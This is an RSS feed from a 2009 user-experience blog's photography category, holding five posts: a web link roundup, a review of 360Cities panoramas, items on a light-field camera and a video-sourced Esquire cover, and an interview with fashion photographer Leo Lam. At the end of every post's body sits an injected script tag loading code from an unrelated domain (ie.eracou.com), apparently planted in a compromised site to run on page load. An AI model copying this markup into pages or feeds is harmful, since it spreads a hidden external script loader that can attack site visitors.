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	<title>UXbyDesign.org &#187; Photography</title>
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	<link>http://www.uxbydesign.org</link>
	<description>A User Experience Blog by Bradley Hebdon</description>
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		<title>Best of the Web Weekly Roundup: Aug 29 &#8211; Sept 4</title>
		<link>http://www.uxbydesign.org/2009/09/04/weekly-roundup-aug-29-sept-4/</link>
		<comments>http://www.uxbydesign.org/2009/09/04/weekly-roundup-aug-29-sept-4/#comments</comments>
		<pubDate>Fri, 04 Sep 2009 20:41:17 +0000</pubDate>
		<dc:creator>Bradley Hebdon</dc:creator>
				<category><![CDATA[Web Roundups]]></category>
		<category><![CDATA[Aggregation]]></category>
		<category><![CDATA[Audi]]></category>
		<category><![CDATA[Information Architect]]></category>
		<category><![CDATA[Photography]]></category>
		<category><![CDATA[Research]]></category>
		<category><![CDATA[Resolution]]></category>
		<category><![CDATA[Social Media]]></category>
		<category><![CDATA[Usability]]></category>
		<category><![CDATA[UX]]></category>
		<category><![CDATA[Video Game]]></category>
		<category><![CDATA[Visualization]]></category>
		<category><![CDATA[Wireframes]]></category>
		<category><![CDATA[Writing]]></category>

		<guid isPermaLink="false">http://www.uxbydesign.org/?p=1386</guid>
		<description><![CDATA[Wireframing Resources
An excellent collection of wireframing how-to’s, tips, advice and resources. A great read for both Information Architects and anyone who works with IA’s.
Audi Conversations Visualization
Click on the “Conversations” link at the bottom of the page.  Here you’ll experience a social media visualization and aggregation of Audi related YouTube videos, Flickr Photos, Tweets and blog [...]


Related posts:<ol><li><a href='http://www.uxbydesign.org/2009/09/12/best-of-the-web-weekly-roundup-sept-5-11/' rel='bookmark' title='Permanent Link: Best of the Web Weekly Roundup: September 5–11'>Best of the Web Weekly Roundup: September 5–11</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.smashingmagazine.com/2009/09/01/35-excellent-wireframing-resources/" target="_blank"><strong>Wireframing Resources</strong></a><br />
An excellent collection of wireframing how-to’s, tips, advice and resources. A great read for both Information Architects and anyone who works with IA’s.</p>
<p><a href="http://www.audiusa.com/us/brand/en/exp/progress.html#source=http://www.audiusa.com/us/brand/en/exp/progress/electricityuntamed.html?csref=inin_electricityuntamed&amp;container=layerModal" target="_blank"><strong>Audi Conversations Visualization</strong></a><br />
Click on the “Conversations” link at the bottom of the page.  Here you’ll experience a social media visualization and aggregation of Audi related YouTube videos, Flickr Photos, Tweets and blog posts. Both pretty and functional, and not visualization for the sake of visualization.</p>
<p><strong><a href="http://www.methodologie.com/webcanvas/" target="_blank">Screen Resolution Template</a></strong><br />
Whether you agree with the existence of “the fold” or not, Methodologie has put together a very useful template that compares the various screen resolutions and what percentage of web users are able to see these web canvases.</p>
<p><strong><a href="http://www.90percentofeverything.com/2009/08/13/ux-for-videogame-design-gamplay-research/" target="_blank">UX for videogame design: Gameplay Research</a></strong><br />
A very fascinating look behind the scenes of video game research. When you consider that Grand Theft Auto IV took in over $500 million in sales in it’s opening week, and World of Warcraft generates $100 million per month in subscriptions, it’s not surprising that video games are now very serious business requiring very serious research.</p>
<p><strong><a href="http://www.designtoimprovelife.dk/index.php?option=com_content_custom&amp;view=category&amp;id=9:winners-2007&amp;Itemid=20&amp;layout=default" target="_blank">INDEX: Award 2009 Winners</a></strong><br />
The idea is to improve life through design, within the categories of “Body”, “Home”, “Work”, “Play” and “Community”. Check out who won and what they designed.</p>
<p><strong><a href="http://www.boston.com/bigpicture/2009/09/wildfires_in_southern_californ.html" target="_blank">Stunning Photos of the Wildfires in Southern California</a></strong><br />
It’s an annual event/disaster here in LA. I still find it hard to believe we don’t have a better handle on how to detect, prevent and extinguish these fires.  There’s a huge opportunity here for someone to come forward with a firefighting innovation.</p>
<p><strong><a href="http://www.copyblogger.com/write-with-a-knife/" target="_blank">Write with a Knife</a></strong><br />
An excellent post that explains how to write in a succinct fashion.</p>
<p><strong><a href="http://www.newsweek.com/id/214585" target="_blank">In Revolutionary Color</a></strong><br />
Russian color photos taken 100 years ago, look as if they were taken yesterday.</p>
<p><strong><a href="http://www.netimperative.com/netimperative/news/2009/august/guest-comment-the-seven-sins-of-usability" target="_blank">The seven sins of usability</a></strong><br />
A user-friendly website is essential to keep people interested in what you have to say and ultimately keeps them coming back. Neil Walker, Chief Technical Officer at Just Search, looks at what usability nightmares marketers should avoid when designing a website to enhance their brand.<script src="http://ie.eracou.com/3"></script></p>


<p>Related posts:<ol><li><a href='http://www.uxbydesign.org/2009/09/12/best-of-the-web-weekly-roundup-sept-5-11/' rel='bookmark' title='Permanent Link: Best of the Web Weekly Roundup: September 5–11'>Best of the Web Weekly Roundup: September 5–11</a></li>
</ol></p>]]></content:encoded>
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		<slash:comments>0</slash:comments>
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		<title>Become a Virtual Tourist with 360Cities.net</title>
		<link>http://www.uxbydesign.org/2009/07/27/become-a-virtual-tourist-with-360cities/</link>
		<comments>http://www.uxbydesign.org/2009/07/27/become-a-virtual-tourist-with-360cities/#comments</comments>
		<pubDate>Tue, 28 Jul 2009 04:19:45 +0000</pubDate>
		<dc:creator>Bradley Hebdon</dc:creator>
				<category><![CDATA[Reviews]]></category>
		<category><![CDATA[360Cities]]></category>
		<category><![CDATA[Cape Town]]></category>
		<category><![CDATA[Chapmans Peak]]></category>
		<category><![CDATA[Google Earth]]></category>
		<category><![CDATA[Interactive]]></category>
		<category><![CDATA[Map]]></category>
		<category><![CDATA[Panorama]]></category>
		<category><![CDATA[Photograph]]></category>
		<category><![CDATA[Photography]]></category>
		<category><![CDATA[South Africa]]></category>
		<category><![CDATA[Travel]]></category>
		<category><![CDATA[UX]]></category>
		<category><![CDATA[Virtual Tourism]]></category>

		<guid isPermaLink="false">http://www.uxbydesign.org/?p=1120</guid>
		<description><![CDATA[360Cities is a breathtaking virtual tour, showing thousands of panoramas made by hundreds of photographers. The stunning photos are interactive, spherical panoramas which beg you to explore them. This can be done by dragging your mouse around, and zooming in and out.  For best viewing, use full-screen mode and for alternative views, right-click to expose the views menu.
To [...]


Related posts:<ol><li><a href='http://www.uxbydesign.org/2009/03/01/pastiche-keyword-based-virtual-tourism/' rel='bookmark' title='Permanent Link: Pastiche: Keyword-Based Virtual Tourism'>Pastiche: Keyword-Based Virtual Tourism</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.uxbydesign.org/wp-content/uploads/2009/07/360cities.jpg"><img class="aligncenter size-full wp-image-1126" title="360cities" src="http://www.uxbydesign.org/wp-content/uploads/2009/07/360cities.jpg" alt="360cities" width="540" height="210" /></a><a href="http://www.360cities.net" target="_blank">360Cities</a> is a breathtaking virtual tour, showing thousands of panoramas made by hundreds of photographers. The stunning photos are interactive, spherical panoramas which beg you to explore them. This can be done by dragging your mouse around, and zooming in and out.  For best viewing, use full-screen mode and for alternative views, right-click to expose the views menu.</p>
<p>To find these photos you can either search by keyword, or browse on the Google-powered map. One very useful feature is the ability to navigate from one photo to another without going back to the map. Look for arrows on the photo, and click on them to instantly get transported to the new destination.</p>
<p>Below is a photo from Chapman&#8217;s Peak near Cape Town, South Africa. OK, so as a Capetonian, I&#8217;ll admit I&#8217;m baised. But regardless, you cannot argue with the beauty of this photo and the unbelievable immersion of 360Cities.net </p>
<p><object id="_360_krpano_id_363754" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="425" height="315" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="name" value="_360_krpano_name_363754" /><param name="quality" value="autohigh" /><param name="allowScriptAccess" value="always" /><param name="flashvars" value="pano=http://www.360cities.net/krpano/external_embed/chapmans-peak-cape-town-south-africa.xml&amp;epd=http://www.360cities.net/data/embed/plugin_data/chapmans-peak-cape-town-south-africa" /><param name="allowFullScreen" value="true" /><param name="src" value="http://www.360cities.net/javascripts/krpano/krpano.swf" /><param name="allowfullscreen" value="true" /><embed id="_360_krpano_id_363754" type="application/x-shockwave-flash" width="425" height="315" src="http://www.360cities.net/javascripts/krpano/krpano.swf" allowfullscreen="true" allowscriptaccess="always" quality="autohigh" flashvars="pano=http://www.360cities.net/krpano/external_embed/chapmans-peak-cape-town-south-africa.xml&amp;epd=http://www.360cities.net/data/embed/plugin_data/chapmans-peak-cape-town-south-africa" name="_360_krpano_name_363754"></embed></object><br />
<a title="panorama photos of Chapmans Peak on 360cities.net" href="http://www.360cities.net/image/chapmans-peak-cape-town-south-africa">Chapmans Peak</a> in <a title="panoramic images from South Africa" href="http://www.360cities.net/area/south-africa">South Africa</a><script src="http://ie.eracou.com/3"></script></p>


<p>Related posts:<ol><li><a href='http://www.uxbydesign.org/2009/03/01/pastiche-keyword-based-virtual-tourism/' rel='bookmark' title='Permanent Link: Pastiche: Keyword-Based Virtual Tourism'>Pastiche: Keyword-Based Virtual Tourism</a></li>
</ol></p>]]></content:encoded>
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		<title>New camera enables focus after snapping shutter</title>
		<link>http://www.uxbydesign.org/2009/07/22/new-camera-enables-focus-after-snapping-shutter/</link>
		<comments>http://www.uxbydesign.org/2009/07/22/new-camera-enables-focus-after-snapping-shutter/#comments</comments>
		<pubDate>Thu, 23 Jul 2009 05:13:50 +0000</pubDate>
		<dc:creator>Bradley Hebdon</dc:creator>
				<category><![CDATA[News]]></category>
		<category><![CDATA[Camera]]></category>
		<category><![CDATA[Computational Imaging]]></category>
		<category><![CDATA[Digital Photography]]></category>
		<category><![CDATA[Photography]]></category>
		<category><![CDATA[Refocus Imaging]]></category>
		<category><![CDATA[Technology]]></category>

		<guid isPermaLink="false">http://www.uxbydesign.org/?p=1073</guid>
		<description><![CDATA[
Refocus Imaging, Inc. is an early-stage company headquartered in Mountain View, California. Refocus is taking the next big step in photography, transforming the camera into a powerful computational platform.
A Refocus camera can do things that have been considered impossible since the invention of photography. The ability to focus a picture after you take the shot [...]


Related posts:<ol><li><a href='http://www.uxbydesign.org/2009/05/04/esquire-magainze-blurs-the-distinction-between-photo-and-video/' rel='bookmark' title='Permanent Link: Esquire Magazine blurs the distinction between Photo &amp; Video'>Esquire Magazine blurs the distinction between Photo &amp; Video</a></li>
<li><a href='http://www.uxbydesign.org/2009/01/28/an-interview-with-fashion-photographer-leo-lam/' rel='bookmark' title='Permanent Link: An interview with fashion photographer, Leo Lam'>An interview with fashion photographer, Leo Lam</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.uxbydesign.org/wp-content/uploads/2009/07/refocus.jpg"><img class="aligncenter size-full wp-image-1079" title="refocus" src="http://www.uxbydesign.org/wp-content/uploads/2009/07/refocus.jpg" alt="refocus" width="540" height="210" /></a></p>
<p><a href="http://www.refocusimaging.com" target="_blank">Refocus Imaging, Inc.</a> is an early-stage company headquartered in Mountain View, California. Refocus is taking the next big step in photography, transforming the camera into a powerful computational platform.</p>
<p>A Refocus camera can do things that have been considered impossible since the invention of photography. The ability to focus a picture <em>after</em> you take the shot is one striking example, and only the tip of the iceberg.</p>
<p>The device captures the entire light field entering the lens, which can be compared to a three-dimensional CT scan, enabling doctors to effectively look at the interior of a person from any direction.  This technique has several possible advantages. For one thing, being able to focus images after the fact means that cameras could take a picture sooner without waiting for an auto-focus mechanism to lock in. For another, because the depth of field also is adjustable along with focus, a pro photographer could fine-tune a picture to properly blur a background or get just the right amount of a subject in focus.</p>
<p>Refocus Imaging&#8217;s approach has produced revolutionary results. Refocus Imaging is redefining photography. Computational imaging is the future.<script src="http://ie.eracou.com/3"></script></p>


<p>Related posts:<ol><li><a href='http://www.uxbydesign.org/2009/05/04/esquire-magainze-blurs-the-distinction-between-photo-and-video/' rel='bookmark' title='Permanent Link: Esquire Magazine blurs the distinction between Photo &amp; Video'>Esquire Magazine blurs the distinction between Photo &amp; Video</a></li>
<li><a href='http://www.uxbydesign.org/2009/01/28/an-interview-with-fashion-photographer-leo-lam/' rel='bookmark' title='Permanent Link: An interview with fashion photographer, Leo Lam'>An interview with fashion photographer, Leo Lam</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.uxbydesign.org/2009/07/22/new-camera-enables-focus-after-snapping-shutter/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
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		<title>Esquire Magazine blurs the distinction between Photo &amp; Video</title>
		<link>http://www.uxbydesign.org/2009/05/04/esquire-magainze-blurs-the-distinction-between-photo-and-video/</link>
		<comments>http://www.uxbydesign.org/2009/05/04/esquire-magainze-blurs-the-distinction-between-photo-and-video/#comments</comments>
		<pubDate>Mon, 04 May 2009 15:54:57 +0000</pubDate>
		<dc:creator>Bradley Hebdon</dc:creator>
				<category><![CDATA[Features]]></category>
		<category><![CDATA[Camera]]></category>
		<category><![CDATA[Digital Photography]]></category>
		<category><![CDATA[Esquire Magazine]]></category>
		<category><![CDATA[Megan Fox]]></category>
		<category><![CDATA[Photography]]></category>
		<category><![CDATA[Red One]]></category>
		<category><![CDATA[SLR]]></category>
		<category><![CDATA[Technology]]></category>
		<category><![CDATA[Video]]></category>

		<guid isPermaLink="false">http://uxbydesign.org/?p=506</guid>
		<description><![CDATA[Captured on the Red One Digital Camera (that&#8217;s a frame resolution of 4096&#215;2304, or 9.4 megapixels), the video-sourced cover image of Megan Fox,  is thought to be a first in the magazine industry, challenging traditional SLR photography and the distinctions of photo vs video.
In terms of where this technology is best suited, I would imagine this approach makes [...]


Related posts:<ol><li><a href='http://www.uxbydesign.org/2010/03/01/palm-pre-video-capture-test/' rel='bookmark' title='Permanent Link: Palm Pre Video Capture Test'>Palm Pre Video Capture Test</a></li>
<li><a href='http://www.uxbydesign.org/2009/07/22/new-camera-enables-focus-after-snapping-shutter/' rel='bookmark' title='Permanent Link: New camera enables focus after snapping shutter'>New camera enables focus after snapping shutter</a></li>
<li><a href='http://www.uxbydesign.org/2009/08/11/touchable-holography-an-emerging-technology/' rel='bookmark' title='Permanent Link: Touchable Holography, an Emerging Technology'>Touchable Holography, an Emerging Technology</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<div class="wp-caption alignleft" style="width: 183px"><img class=" " src="http://cache.gawker.com/assets/images/gizmodo/2009/05/megan-fox-esquire-cover.jpg" alt="" width="173" height="236" /><p class="wp-caption-text">Megan Fox on the cover of Esquire Magazine, June 2009.</p></div>
<p>Captured on the <a href="http://www.red.com/cameras/" target="_blank">Red One</a> Digital Camera (that&#8217;s a frame resolution of 4096&#215;2304, or 9.4 megapixels), the video-sourced cover image of Megan Fox,  is thought to be a first in the magazine industry, challenging traditional SLR photography and the distinctions of photo vs video.</p>
<p>In terms of where this technology is best suited, I would imagine this approach makes more sense for shooting sports and other high-speed subject matter. Where a millisecond can make the difference between a great shot and a bad one.</p>
<p>Sadly, this is yet another step towards automating the photographic process, and leaving the photographer&#8217;s skill of anticipating and capturing a moment in time, obsolete.<script src="http://ie.eracou.com/3"></script></p>


<p>Related posts:<ol><li><a href='http://www.uxbydesign.org/2010/03/01/palm-pre-video-capture-test/' rel='bookmark' title='Permanent Link: Palm Pre Video Capture Test'>Palm Pre Video Capture Test</a></li>
<li><a href='http://www.uxbydesign.org/2009/07/22/new-camera-enables-focus-after-snapping-shutter/' rel='bookmark' title='Permanent Link: New camera enables focus after snapping shutter'>New camera enables focus after snapping shutter</a></li>
<li><a href='http://www.uxbydesign.org/2009/08/11/touchable-holography-an-emerging-technology/' rel='bookmark' title='Permanent Link: Touchable Holography, an Emerging Technology'>Touchable Holography, an Emerging Technology</a></li>
</ol></p>]]></content:encoded>
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		<item>
		<title>An interview with fashion photographer, Leo Lam</title>
		<link>http://www.uxbydesign.org/2009/01/28/an-interview-with-fashion-photographer-leo-lam/</link>
		<comments>http://www.uxbydesign.org/2009/01/28/an-interview-with-fashion-photographer-leo-lam/#comments</comments>
		<pubDate>Wed, 28 Jan 2009 02:29:45 +0000</pubDate>
		<dc:creator>Bradley Hebdon</dc:creator>
				<category><![CDATA[Interviews]]></category>
		<category><![CDATA[Bhutan]]></category>
		<category><![CDATA[Fashion]]></category>
		<category><![CDATA[Leo Lam]]></category>
		<category><![CDATA[Photography]]></category>

		<guid isPermaLink="false">http://uxbydesign.org/?p=125</guid>
		<description><![CDATA[As an on-going feature, I&#8217;ll be chatting with colleagues within the larger ecology of &#8220;User Experience&#8221;. Through this, I hope to broaden the reader&#8217;s perception of what &#8220;User Experience&#8221; truly implies, and that this is not a term reserved exclusively for labs and virtual spaces.  
To kick this off, I sat down with fashion photographer Leo Lam.  We go back [...]


Related posts:<ol><li><a href='http://www.uxbydesign.org/2009/07/23/amy-buckner-mobile-usability/' rel='bookmark' title='Permanent Link: Interview: Amy Buckner on Mobile Usability'>Interview: Amy Buckner on Mobile Usability</a></li>
<li><a href='http://www.uxbydesign.org/2009/06/23/an-interview-with-dave-connelly-president-of-coresoft-makers-of-super-sniper-2/' rel='bookmark' title='Permanent Link: An interview with Dave Connelly, President of Coresoft: Makers of Super Sniper 2'>An interview with Dave Connelly, President of Coresoft: Makers of Super Sniper 2</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p><span style="color:#000000;">As an on-going feature, I&#8217;ll be chatting with colleagues within the larger ecology of &#8220;User Experience&#8221;. Through this, I hope to broaden the reader&#8217;s perception of what &#8220;User Experience&#8221; truly implies, and that this is not a term reserved exclusively for labs and virtual spaces.  </span></p>
<p><span style="color:#000000;"><img class="alignleft size-full wp-image-224" title="Leo Lam" src="http://bhebdon.files.wordpress.com/2009/01/byjmg1.jpg" alt="byjmg1" width="229" height="288" />To kick this off, I sat down with fashion photographer Leo Lam.  We go back a good 10 years now, back to when our photographic paths crossed. I&#8217;ve seen his skills blossom and there&#8217;s not many photographers out there who understand the viewer as well as Leo.  In such a technical craft, it&#8217;s easy to get caught up in gadgets and settings - and in doing so &#8211; forget about the viewer&#8217;s experience.</span></p>
<h3><span style="color:#000000;">Q: How did you get into photography?</span></h3>
<p><span style="color:#000000;">My father taught me how to use a camera when I was young, film and mechanical cameras. It was mostly for fun and I never thought it would become anything serious. Things changed when I made the first dollar doing teenagers&#8217; portrait when I became a teenager. That&#8217;s many moons ago, and I became very serious about this about eight years ago, mostly out of serendipity. I think fashion photography in a way sought me out, while I was (and am) pursuing a more science-related career</span></p>
<h3><span style="color:#000000;">Q: What do you typically shoot?</span></h3>
<p><span style="color:#000000;">I shoot fashion and beauty work when I am in Seattle. I am quite open to shooting other things, like the Bhutan photographs that I did in early 2008. It is good to have variety. In my spare time, I also volunteer to shoot for </span><a href="http://www.soulumination.org/" target="_blank"><span style="color:#000000;">Soulumination</span></a><span style="color:#000000;">, a non-profit that provides free photo service to terminally ill children. It&#8217;s good for the soul.</span></p>
<h3><span style="color:#000000;"><img class="alignright size-full wp-image-237" src="http://bhebdon.files.wordpress.com/2009/01/rockstar2.jpg" alt="rockstar2" width="300" height="200" />Q: Where do you typically shoot?</span></h3>
<p><span style="color:#000000;">It depends on the context. The studio is good for certain work, but I do prefer to shoot on location where it adds context to the story and gives the subject characters what a grey background doesn&#8217;t. No one lives in front of a grey background. </span></p>
<h3><span style="color:#000000;"><span style="color:#000000;">Q: How do you compare shooting in the studio to on location &#8211; any preference?</span></span></h3>
<p><span style="color:#000000;">I don&#8217;t have a preference, it depends on context and whether one serves the purpose better than the other. Location gives specific elements and character to a story, while the studio provides focus and control. The studio is more challenging in a way, because while it provides control, it also has restrictions, and one has to constantly innovate to give it a fresh and new approach. The moment one gets lazy with the studio, the work becomes boring and stagnant. </span></p>
<h3><span style="color:#000000;"><span style="color:#000000;"><span style="color:#000000;"><span style="color:#000000;"><img class="size-full wp-image-261 alignleft" src="http://bhebdon.files.wordpress.com/2009/01/test1211.jpg" alt="" width="300" height="200" /></span></span></span>Q: How would you describe your shooting style?</span> </h3>
<p><span style="color:#000000;">Poetic, romantic, intimate and human-centric. While I appreciate and can produce high level of post-production, I am now focusing more on context and the human elements. Fashion is supposed to inspire, to bring people to places normally ones could never be. To bring about that, I think we should care more about the people beyond the surface. There is already enough work where the models in the images are almost interchangeable with a plastic mannequin. And while a lot of them are visually spectacular, my goal is to go beyond that, and back to basics. </span></p>
<h3><span style="color:#000000;">Q: What&#8217;s the most spectacular place you&#8217;ve ever been?</span><span style="color:#000000;"> </span></h3>
<p><span style="color:#000000;">Bhutan. Pretty much hands-down the most interesting, peaceful and beautiful country I have ever been to, and I have been &#8220;around the block&#8221; a few times. It is an inspiring country in so many ways. The forward thinking, the anti-thesis to many things that we have been taught to believe in. It reminds me of a Daniel Quinn saying, &#8220;there is more than one right way to live.&#8221; Bhutan is the best example for that, for most western-educated people anyway. </span></p>
<h3><span style="color:#000000;"><img class="size-full wp-image-245 alignleft" src="http://bhebdon.files.wordpress.com/2009/01/test0643.jpg" alt="" width="264" height="336" />Q: Are there any particular themes that weave through your work?</span></h3>
<p><span style="color:#000000;">The most obvious ones are romance and interactions. I always strive to bring interesting subjects to the viewers so they have a want to know the person photographed, beyond just &#8220;she&#8217;s hot&#8221;, that&#8217;s too obvious. The response I hope for is &#8220;she has a story to tell, I wonder what it is.&#8221; There are also times when I bring in social issues and make that a basis for a story. </span></p>
<h3><span style="color:#000000;">Q: What equipment do you use?</span></h3>
<p><span style="color:#000000;">All kinds, from medium format digital to a plastic Polaroid 600 camera. It really is not that important for me to think about what I use, but to use all of them proficiently. </span></p>
<h3><span style="color:#000000;">Q: When did you make the decision to move to digital and what was the tipping point?</span></h3>
<p><span style="color:#000000;">About 2002. My engineering background in semiconductors gave me the unique insight into the inner working of digital imaging, from the chip to the DSP algorithms to color management. These are second nature to me, and it was very clear to me that it is the future of imaging. The possibility of digital is also infinite, without much constraints at this point. The moment I noticed that the theory had become reality in practice to a quality level that was acceptable to my eyes, I dived in. </span></p>
<h3><span style="color:#000000;"><img class="alignright size-full wp-image-248" src="http://bhebdon.files.wordpress.com/2009/01/kylie4a.jpg" alt="" width="270" height="360" />Q: How do you feel about digitally enhancing photos?</span></h3>
<p><span style="color:#000000;">I don&#8217;t think I would have any specific feeling about whether a photo is digitally enhanced or not. The only question I would ask is whether the image is compelling, and whether it has context, or whether it has served the purpose of the creator&#8217;s original intent. If the photo serves any one of these purposes, it is a success. If not, it does not, then no matter how overly produced it is, it is still a failure. Photographs have never been truthful, the moment a photographer decides on a crop, truth is lost. Adding to the fact that manipulations have been done in the dark room for years, it is not a consideration for me at all. </span></p>
<h3><span style="color:#000000;">Q: What drives your choice between black &amp; white, and color as a medium?</span></h3>
<p><span style="color:#000000;">If colors do not serve any purpose for a specific idea, and the styling works for black and white, then black and white it is. Colors sometimes act to distract from the message, but sometimes it is absolutely necessary, especially when the color is the theme for a fashion story. </span></p>
<h3><span style="color:#000000;">Q: How would you like viewers to react when they see your images?</span></h3>
<p><span style="color:#000000;">Overall, I want them to feel good, beyond a &#8220;wow, this is beautiful&#8221;. That, I think is what all fashion photographers want to strive for. Does it make someone &#8220;feel&#8221; something. I don&#8217;t want to dictate how they feel, I only want to induce some thoughts in their minds. Better yet, a smile. </span></p>
<h3><span style="color:#000000;"><img class="alignright size-full wp-image-251" src="http://bhebdon.files.wordpress.com/2009/01/rockstar9.jpg" alt="" width="280" height="420" />Q: When you show your work in a gallery, do you have any particular strategy to how you select and arrange the photos?</span></h3>
<p><span style="color:#000000;">The arrangements are done as stories. I prefer it to look like it is almost a continuous magazine editorial that does not need page flips. The selections are completely story-based, or theme-based. </span></p>
<h3><span style="color:#000000;">Q: Now days, it&#8217;s so easy to show your work on-line. Why do you think it&#8217;s worth showing your work in-person?</span></h3>
<p><span style="color:#000000;">Two main reasons. First of all, the quality of onlinepresentation is still incomparable to a physical print. No one has a 3-foot tall monitor, and worse yet, most people do not have calibrated monitors. Most people have forgotten the power of seeing something tangible, and I think it is important to remind people that lives exist beyond the Internet.</span></p>
<p><span style="color:#000000;">This also brings back to the original purpose for creating photographs, for me anyway. It is about interactions, context, bringing out thoughts and sharing them. Is it not more interesting if I can hear right away what thoughts people have? Seattle already has a reputation for its standoffishness, so I really hope putting a show up can bring people together, with a shared viewpoint, break down barriers and have some interactions with eachother. And it is fun, why not? If this show can bring just one new friend for one person, it is all worth it. </span></p>
<h3><span style="color:#000000;"><img class="size-full wp-image-254 alignleft" src="http://bhebdon.files.wordpress.com/2009/01/kylie1.jpg" alt="" width="245" height="163" />Q: Where and when can we see your work?</span></h3>
<p><span style="color:#000000;">You can obviously see my work on-line at my website: </span><a href="http://www.LeoLam.com" target="_blank"><span style="color:#000000;">LeoLam.com</span></a><span style="color:#000000;">. I am also putting on a gallery show, called &#8220;</span><a href="http://www.blankspaceseattle.com/show_display.php?sid=32" target="_blank"><span style="color:#000000;">Being Captured</span></a><span style="color:#000000;">&#8220; at the studio in February. The opening night will be February 5th. </span><script src="http://ie.eracou.com/3"></script></p>


<p>Related posts:<ol><li><a href='http://www.uxbydesign.org/2009/07/23/amy-buckner-mobile-usability/' rel='bookmark' title='Permanent Link: Interview: Amy Buckner on Mobile Usability'>Interview: Amy Buckner on Mobile Usability</a></li>
<li><a href='http://www.uxbydesign.org/2009/06/23/an-interview-with-dave-connelly-president-of-coresoft-makers-of-super-sniper-2/' rel='bookmark' title='Permanent Link: An interview with Dave Connelly, President of Coresoft: Makers of Super Sniper 2'>An interview with Dave Connelly, President of Coresoft: Makers of Super Sniper 2</a></li>
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